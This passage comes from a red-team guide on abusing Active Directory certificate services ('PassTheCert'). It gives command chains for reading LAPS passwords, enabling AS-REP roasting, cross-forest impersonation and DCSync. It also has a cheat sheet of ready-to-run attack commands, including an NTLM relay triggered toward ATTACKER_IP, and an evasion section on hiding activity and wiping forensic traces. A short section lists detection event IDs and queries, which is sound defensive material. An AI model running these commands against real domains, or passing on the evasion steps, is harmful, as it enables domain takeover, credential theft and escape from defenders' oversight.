EndTime          : 12/2/2024 00:35:01
RenewTill        : 12/8/2024 14:35:01
Flags            : name_canonicalize, pre_authent, initial, renewable, forwardable
[+] Ticket successfully imported into memory!

C:\Users\jsmith> klist

Cached Tickets: (1)
 #0> Client: administrator @ CORP.LOCAL
    Server: krbtgt/corp.local @ CORP.LOCAL
    Ticket Flags: 0x40e10000

C:\Users\jsmith> _
```

Figure: Rubeus.exe asktgt — PKINIT with administrator.pfx, TGT imported, klist confirms



16 — COMBINING PASSTHECERT WITH OTHER TECHNIQUES

Chaining for Maximum Impact

Technique	PassTheCert Role	Combined With	Result
Kerberoasting	Cert → DA → reset SPN account	pwhashcat	Direct cred recovery
AS-REP Roast	Cert → enable no-preauth via LDAP	pwhashcat	More targets
DCSync	Cert → grant DCSync rights	secretsdump	Full hash dump
RBCD	Cert → set RBCD on target	getST + PSExec	Code exec as any user
Shadow Creds	Cert → add keycred to target	certipy auth	Persistent cert access
GPO Abuse	Cert → modify GPO link via LDAP	SharpGPOAbuse	Exec on OU machines
LAPS	Cert → read ms-Mcs-AdmPwd via LDAP	Direct	Local admin on all LAPS

\$ Chaining Examples

```
# Example: Cert → read all LAPS passwords via LDAPS
python3 passthecert.py -action read_laps \
  -crt administrator.crt -key administrator.key \
  -domain corp.local -dc-ip 192.168.10.5

# Example: Cert → enable AS-REP roasting on a target account
python3 passthecert.py -action modify_user \
  -crt administrator.crt -key administrator.key \
  -domain corp.local -dc-ip 192.168.10.5 \
  -target svc_mssql \
  -attribute userAccountControl -value 4194816
# userAccountControl 4194816 = DONT_REQ_PREAUTH flag enabled

# Then AS-REP roast the newly enabled account
impacket-GetNPUsers corp.local/jsmith:'Welcome1!' \
  -usersfile targets.txt -dc-ip 192.168.10.5
```



17 — PIVOTING VIA CERTIFICATE: CROSS-FOREST ATTACKS

Certificate Trust Beyond the Forest Boundary

Certificate trust can extend across forest boundaries if cross-forest Certificate Trust is configured. An attacker who compromises the CA in one forest may be able to request certificates that are trusted in partner forests — enabling cross-forest impersonation.

\$ Cross-Forest Certificate Abuse

```
# Check for cross-forest certificate trust
certipy find -u jsmith@corp.local -p 'Welcome1!' -dc-ip 192.168.10.5 \
  | grep -A10 'Cross Forest'

# If SUBSIDIARY.LOCAL trusts CORP.LOCAL's CA:
# Request cert with UPN in subsidiary domain
certipy req -u jsmith@corp.local -p 'Welcome1!' \
  -ca corp-DC01-CA \
  -template UserAuthentication \
  -upn EA_admin@subsidiary.local \
  -dc-ip 192.168.10.5

# Authenticate to subsidiary DC using the cross-forest cert
certipy auth -pfx EA_admin.pfx \
  -domain subsidiary.local \
  -dc-ip 192.168.11.5

# [+] Got NT hash for EA_admin@subsidiary.local

# Or use PassTheCert against subsidiary LDAPS
python3 passthecert.py -action whoami \
  -crt EA_admin.crt -key EA_admin.key \
  -domain subsidiary.local -dc-ip 192.168.11.5
```

RTG NOTE

Cross-forest cert trust requires NTAuthCertificates to include CORP CA in SUBSIDIARY forest.

This is a deliberately configured trust — check certipy output for 'CrossForest: True'.

Not all forest trusts have cert trust — but where present it is often exploitable.



18 — DETECTION: EVENT IDS & INDICATORS OF COMPROMISE

How Blue Teams Catch PassTheCert Attacks

Event ID	Source	Indicates	Priority
4886	Security (CA)	Certificate request received	HIGH
4887	Security (CA)	Certificate issued — check requested template	HIGH
4768	Security (DC)	Kerberos AS-REQ with PKINIT pre-auth	HIGH
4624 Type 16	Security (DC)	Interactive logon with smart card (cert)	MEDIUM
5136	Security (DC)	Directory object modified — template ACL change	HIGH
4662	Security (DC)	LDAP operation on AD CS object	MEDIUM
4728	Security (DC)	Member added to security-enabled group	MEDIUM
4738	Security (DC)	User account changed (shadow cred, UAC mod)	MEDIUM

Key Detection Queries

\$ Detection Queries

```
# Detect certificate requests with non-standard SANs (ESC1 abuse)
# CA audit log: Event 4887 where SubjectAltName differs from requesting account

# Splunk: PKINIT auth (cert-based Kerberos) from unusual hosts
index=wineventlog EventCode=4768 pre_auth_type=16
| where src_user != cert_upn    <- UPN mismatch = impersonation!

# KQL (Sentinel): Certificate issued for high-value UPN
SecurityEvent | where EventID==4887
| where TemplateOID contains '1.3.6.1.4.1.311.20.2.2' // Client Auth
| where SubjectAltName contains 'administrator'

# PowerShell: Find recent CA-issued certificates for admin accounts
Get-IssuedRequest -CertificationAuthority corp-DC01-CA \
-Property RequesterName,CommonName,SubjectAltName,IssuedOn \
| Where-Object {$_.SubjectAltName -like '*admin*'}
```

19 — EVASION & OPERATIONAL SECURITY

Staying Under the Radar

- ◆ Request certificates using low-priv accounts — avoid using DA credentials for enrollment.
- ◆ Use ESC4 to temporarily modify a template, request cert, then restore — shorter detection
- ◆ Prefer SChannel/PassTheCert over PKINIT — fewer Kerberos events (no AS-REQ 4768).
- ◆ Delete certificate requests from the CA after issuance (requires CA manage rights).
- ◆ Use short validity periods in requests to reduce persistence window if detected.
- ◆ Blend certificate requests with normal business activity (request during busy hours).
- ◆ Prefer shadow credentials over group membership changes — quieter attribute modification.
- ◆ Clean up: remove shadow creds and RBCD after use to limit forensic footprint.
- ◆ If ESC8 relay is needed, use PetitPotam with a valid account to reduce anomaly score.

RTG OPSEC

CA audit logging may be off by default — but defenders are turning it on. Assume it is on.

PKINIT from a workstation is unusual — Kerberos event 4768 with SmartCard pre-auth stands out.

SChannel LDAPS cert auth does not generate 4768 — it is harder to detect at the Kerberos layer



20 — QUICK REFERENCE CHEAT SHEET

PassTheCert Field Operations

Install Certipy	<code>pip install certipy-ad</code>
Install passthecert	<code>git clone https://github.com/AlmondOffSec/PassTheCert.git</code>
Enumerate ADCS	<code>certipy find -u USER@DOM -p PASS -dc-ip DC -vulnerable</code>
Request cert ESC1	<code>certipy req -u USER@DOM -p PASS -ca CA -template TMPL -upn admin@DOM -dc-ip DC</code>
Authenticate (PKINIT)	<code>certipy auth -pfx admin.pfx -domain DOM -dc-ip DC</code>
Extract .crt	<code>openssl pkcs12 -in admin.pfx -nokeys -out admin.crt</code>
Extract .key	<code>openssl pkcs12 -in admin.pfx -nocerts -nodes -out admin.key</code>
PTC — whoami	<code>python3 passthecert.py -action whoami -crt admin.crt -key admin.key -domain DOM -dc-ip DC</code>
PTC — Add to DA	<code>python3 passthecert.py -action modify_group -group 'Domain Admins' -account USER ...</code>
PTC — Grant DCSync	<code>python3 passthecert.py -action grant_dcsync -target USER ...</code>
PTC — Reset Password	<code>python3 passthecert.py -action reset_password -target DA_jones -new-password PASS ...</code>
PTC — Add Computer	<code>python3 passthecert.py -action add_computer -computer-name FAKE\$ -computer-pass PASS ...</code>
PTC — Set RBCD	<code>python3 passthecert.py -action set_rbcd -delegate-from FAKE\$ -delegate-to DC01\$...</code>
PTC — Shadow Creds	<code>python3 passthecert.py -action set_shadowcreds -target DA_jones ...</code>
Shadow Cred (certipy)	<code>certipy shadow auto -u USER@DOM -p PASS -account TARGET -dc-ip DC</code>
ESC8 Relay	<code>impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController</code>
Trigger Relay	<code>python3 printerbug.py DOM/USER:PASS@DC ATTACKER_IP</code>
DCSync	<code>impacket-secretsdump DOM/admin@DC -hashes LM:NT -just-dc-ntlm</code>
Rubeus PKINIT	<code>Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /ptt</code>
UnPAC-the-Hash	<code>certipy auth -pfx admin.pfx -domain DOM -dc-ip DC (outputs NT hash)</code>
RBCD getST	<code>impacket-getST -spn cifs/DC DOM/FAKE\$:PASS -impersonate Administrator</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Democratize offensive security education — free, practical, no-nonsense.
Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.